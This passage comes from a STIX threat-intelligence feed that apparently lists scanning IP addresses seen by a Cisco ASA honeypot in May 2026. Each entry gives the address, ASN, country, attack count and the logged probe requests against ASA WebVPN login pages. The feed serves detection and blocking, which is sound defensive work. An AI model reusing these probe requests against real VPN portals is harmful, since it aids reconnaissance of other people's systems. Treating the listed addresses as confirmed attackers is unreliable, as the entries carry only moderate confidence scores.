      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.162.44.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T06:51:52.803Z",
          "last_seen": "2026-05-10T09:00:26.565Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211486,
          "as_org": "Alferov Aleksey Aleksandrovich",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--cd871fcd-7b0a-4a74-9335-01735ead7639",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T11:01:11.005Z",
          "last_seen": "2026-05-30T04:28:10.297Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3b8f41ba-cdd5-4e1f-8d79-95e94db1b514",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.101.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-04T10:53:54.824Z",
          "last_seen": "2026-05-26T09:11:30.317Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f7b1c34e-dd0a-4338-add5-4fb19b8a24b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T10:37:45.529Z",
          "last_seen": "2026-05-25T21:51:15.137Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3dc47ada-ca91-487b-9e8e-38ac6956d16f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T10:37:49.312Z",
          "last_seen": "2026-05-10T10:05:05.004Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5995be60-f49a-43b6-8145-8d9ed1bdb744",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-04T10:54:09.054Z",
          "last_seen": "2026-05-30T03:04:13.937Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a1b1e80d-d42c-46a6-b5d8-cebfdca360d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T10:25:32.177Z",
          "last_seen": "2026-05-27T11:59:55.808Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--32e4a2c7-deeb-491c-94ef-f20cd0281cc7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.79.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T10:38:05.318Z",
          "last_seen": "2026-05-30T10:01:36.325Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--126a068d-bb70-4d3c-a7d0-b9b3b6abfead",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 56,
          "first_seen": "2026-05-04T10:42:58.655Z",
          "last_seen": "2026-05-29T16:40:19.326Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: IR; ASN 208137 (Feo Prest SRL)",
      "id": "indicator--c44a325b-9501-4690-b350-3e498290f4ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '62.60.131.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T06:59:42.488Z",
          "last_seen": "2026-05-10T08:48:30.089Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 208137,
          "as_org": "Feo Prest SRL",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: IR; ASN 208137 (Feo Prest SRL)",
      "id": "indicator--b7265c66-e586-45da-b835-0e745b19b887",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '62.60.131.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-04T06:59:39.464Z",
          "last_seen": "2026-05-10T08:48:29.813Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 208137,
          "as_org": "Feo Prest SRL",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: BG; ASN 211486 (Alferov Aleksey Aleksandrovich)",
      "id": "indicator--f2d6b60b-bbd0-43b3-92e5-0ed70c69e1a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '94.26.0.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:20:10.000Z",
      "valid_until": "2026-06-05T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-04T06:51:57.270Z",
          "last_seen": "2026-05-10T08:59:39.399Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 211486,
          "as_org": "Alferov Aleksey Aleksandrovich",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.116.101.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:20:10.000Z",
      "valid_until": "2026-06-05T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-04T11:29:50.701Z",
          "last_seen": "2026-05-23T09:54:15.101Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--644b6b39-a645-43b0-8d41-6daa527a66eb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:20:10.000Z",
      "valid_until": "2026-06-05T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-04T11:38:42.197Z",
          "last_seen": "2026-05-04T11:38:42.197Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6899b98e-ffe7-4d9e-8552-6894f386869c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:20:10.000Z",
      "valid_until": "2026-06-05T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T11:55:00.200Z",
          "last_seen": "2026-05-04T20:36:10.946Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4727ba8c-62a5-417c-9beb-2603c175e43d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:20:10.000Z",
      "valid_until": "2026-06-05T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T11:58:58.590Z",
          "last_seen": "2026-05-26T16:17:21.982Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--12b61348-95a7-44c0-825d-d99159e363b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:20:10.000Z",
      "valid_until": "2026-06-05T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T12:13:05.433Z",
          "last_seen": "2026-05-07T11:04:24.848Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c5f4f7a2-b361-4c2e-8925-17978720cefb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:20:10.000Z",
      "valid_until": "2026-06-05T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T12:11:17.815Z",
          "last_seen": "2026-05-16T07:14:56.661Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f584a3c2-e7b0-43a0-9ad4-09a245ce6507",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:20:10.000Z",
      "valid_until": "2026-06-05T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T12:14:12.235Z",
          "last_seen": "2026-05-16T06:59:15.476Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f90db425-bb19-45d2-94d9-16045412a74b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:20:10.000Z",
      "valid_until": "2026-06-05T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-04T11:37:07.820Z",
          "last_seen": "2026-05-04T11:37:16.744Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1d2207f9-a10b-49ad-b805-1754c8de4fa8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
